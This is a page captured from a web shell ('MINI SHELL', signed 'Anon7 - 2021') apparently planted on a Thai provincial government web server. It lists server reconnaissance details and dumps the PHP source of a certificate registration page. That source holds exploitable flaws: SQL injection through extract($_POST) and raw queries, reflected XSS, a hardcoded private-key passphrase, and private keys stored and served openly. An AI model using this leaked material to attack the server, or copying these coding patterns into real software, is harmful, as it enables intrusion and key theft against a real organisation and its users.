MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/CA2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/CA2/Copy of register.php
<?
@session_start() ; 
?>
<html>
<head>
<title></title>
<META http-equiv=Content-Type content="text/html; charset=windows-874">


<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
.comment{
	color:#F00;
	
	}

INPUT{
	FONT-SIZE: 12px; FONT-FAMILY: Tahoma,  "Microsoft Sans "; 
	}
-->
</style>
<link href="css/style.css" rel="stylesheet" type="text/css">
</head>

<body>
<table width="100%" border="0" cellspacing="0" cellpadding="10">
  <tr>
    <td align="center">
	
	
	
	

<script language="javascript">

function ValidateDoc()
{   
    var cr        = unescape("\n");
    var ErrorMsg  = "เกิดข้อผิดพลาดดังนี้ :  "+cr+cr;
    var InitLen   = ErrorMsg.length;
    var TheForm   = document.frm1;
	var emailRegEx = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i;
	if (TheForm.prename.value.length < 1)
       ErrorMsg =  ErrorMsg + "คำนำหน้าชื่อ  " + cr;
	   if (TheForm.fname.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อ  " + cr;
	   if (TheForm.lname.value.length < 1)
       ErrorMsg =  ErrorMsg + "นามสกุล  " + cr;
	   
	if (TheForm.province.value.length < 1)
       ErrorMsg =  ErrorMsg + "จังหวัด  " + cr;
	if (TheForm.locality.value.length < 1)
       ErrorMsg =  ErrorMsg + "อำเภอ/ตำบล  " + cr;
	if (TheForm.organization.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อองค์กร  " + cr;
	if (TheForm.organization_unit.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อหน่วยองค์กร  " + cr;
	if (TheForm.common_name.value.length < 1)
       ErrorMsg =  ErrorMsg + "ชื่อสามัญ  " + cr;
	if (TheForm.email.value.length < 1)
       ErrorMsg =  ErrorMsg + "อีเมล์  " + cr;
	if (TheForm.email.value.search(emailRegEx) == -1)
       ErrorMsg =  ErrorMsg + "อีเมล์ไม่ถูกต้อง " + cr;   
	
	  
	 
	if ( ErrorMsg.length > InitLen ){
        alert( ErrorMsg );
        return (false);
    }
    return(true);
}


</script>
<?php

require_once "config/config.ini.php";
require_once "common/database.class.php";
include("class.openssl.php");
$db = new database();
$x=$db->connect();




if(isset($_POST['bt_submit'])){

extract($_POST);

$sql="select id from member where email='$email'";
$rex=$db->query($sql);

$num=$db->numrows($rex);
if($num == 0){

$ossl = new OpenSSL(1);

$pass="sapphire";

$ossl->set_privkeypass($pass);
$ossl->generateRandomString(5);

$ossl->create_key_pair();

$ossl->set_dn($country,$province,$locality,$organization,$organization_unit,$common_name,$email);
$ossl->create_csr();
$ossl->export_csr_to_string();



$ossl->create_self_signed_certificate();
$ossl->export_certificate_to_string();



echo "<br><br><br><center>";
echo "The Certificate:<br />\n";
echo "<textarea rows='20' cols='65'>".HTMLENTITIES($ossl->get_certificate())."</textarea><br />\n";
$ossl->export_certificate_to_file();
$url1 = "getfile.php?filename=".$ossl->get_certificate_file()."";
echo "ดาวน์โหลด Certificate file ที่นี่: <a href='".$url1."' >".$ossl->get_certificate_file()."</a><br /><br />\n";

$ossl->export_privatekey_to_string();
echo "The Private Key:<br />\n";
echo "<textarea rows='15' cols='65'>".HTMLENTITIES($ossl->get_privatekey())."</textarea><br />\n";
$ossl->export_privatekey_to_file();
$url2 = "getfile.php?filename=".$ossl->get_privatekey_file()."";
echo "ดาวน์โหลด Private Key file ที่นี่: <a href='".$url2."' >".$ossl->get_privatekey_file()."</a><br /><br />\n";
echo "</center><br><br><br>";

$db->query("INSERT INTO member(prename,fname,sname,country,province,locality,organization,organization_unit,common_name,email,public_key,private_key,
public_file,private_file)
            VALUES('$prename','$fname','$lname','$country','$province','$locality','$organization','$organization_unit','$common_name','$email',
			'".$ossl->get_certificate()."','".$ossl->get_privatekey()."','".$ossl->get_certificate_file()."',
			'".$ossl->get_privatekey_file()."')");
}else{
  echo " * มี  E-mail นี้อยู่ในระบบแล้ว!!<br><br> <a href=\"javascript:history.back()\"> ย้อนกลับ</a>";
}

}//end if 

if(empty($_POST['bt_submit'])){
?>
<form action="" method="post" name="frm1" onSubmit= "return ValidateDoc()">
<table width="700" border="0" cellspacing="0" cellpadding="5">
  <tr>
    <td colspan="2"><strong><u>กรุณากรอกข้อมูลให้ครบและถูกต้อง</u></strong><br>      <br />
</td>
    </tr>
  <tr>
    <td align="right"><strong>คำนำหน้าชื่อ</strong></td>
    <td align="left" class="comment"><input name="prename" type="text" size="50" id="prename" />
      *</td>
  </tr>
  <tr>
    <td align="right"><strong>ชื่อ</strong></td>
    <td align="left"><input name="fname" type="text" size="50" id="fname" />
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td align="right"><strong>นามสกุล</strong></td>
    <td align="left"><input name="lname" type="text" size="50" id="lname" />
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td  height="10"> </td>
    <td></td>
  </tr>
  <tr>
    <td width="184"><div align="right"><strong>ประเทศ</strong></div></td>
    <td width="496">
	<input name="country" type="text" value="TH" size="50"  style="background-color:#CCC;display:none"readonly="readonly" />
	<label>
	  <input name="textfield" type="text" id="textfield" style="background-color:#999" value="ไทย" size="50" readonly="readonly">
	  </label></td>
  </tr>
  <tr>
    <td><div align="right"><strong>จังหวัด</strong></div></td>
    <td><input name="province" type="text" value="<?php echo $_POST['province'];?>" size="50" />
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td><div align="right"><strong>อำเภอ/ตำบล</strong></div></td>
    <td><input name="locality" type="text"  value="<?php echo $_POST['locality'];?>" size="50"/>
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td><div align="right"><strong>ชื่อองค์กร</strong></div></td>
    <td><input name="organization" type="text" value="<?php echo $_POST['organization'];?>" size="50" />
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td><div align="right"><strong>ชื่อหน่วยองค์การ</strong></div></td>
    <td><input name="organization_unit" type="text" value="<?php echo $_POST['organization_unit'];?>" size="50" />
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td><div align="right"><strong>ชื่อสามัญ</strong></div></td>
    <td><input name="common_name" type="text" value="<?php echo $_POST['common_name'];?>" size="50" />
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td><div align="right"><strong>อีเมล์</strong></div></td>
    <td><input name="email" type="text" value="<?php echo $_POST['email'];?>" size="50" />
      <span class="comment">*</span></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2" align="center"><input name="bt_submit" type="submit" value="ลงทะเบียน" />
      <label>
        <input type="reset" name="Reset" id="button" value="ยกเลิก">
      </label></td>
    </tr>
</table>




</form>
<?php
}//endif
?>
	
	
	
	
	
	</td>
  </tr>
</table>
</body>
</html>

Anon7 - 2021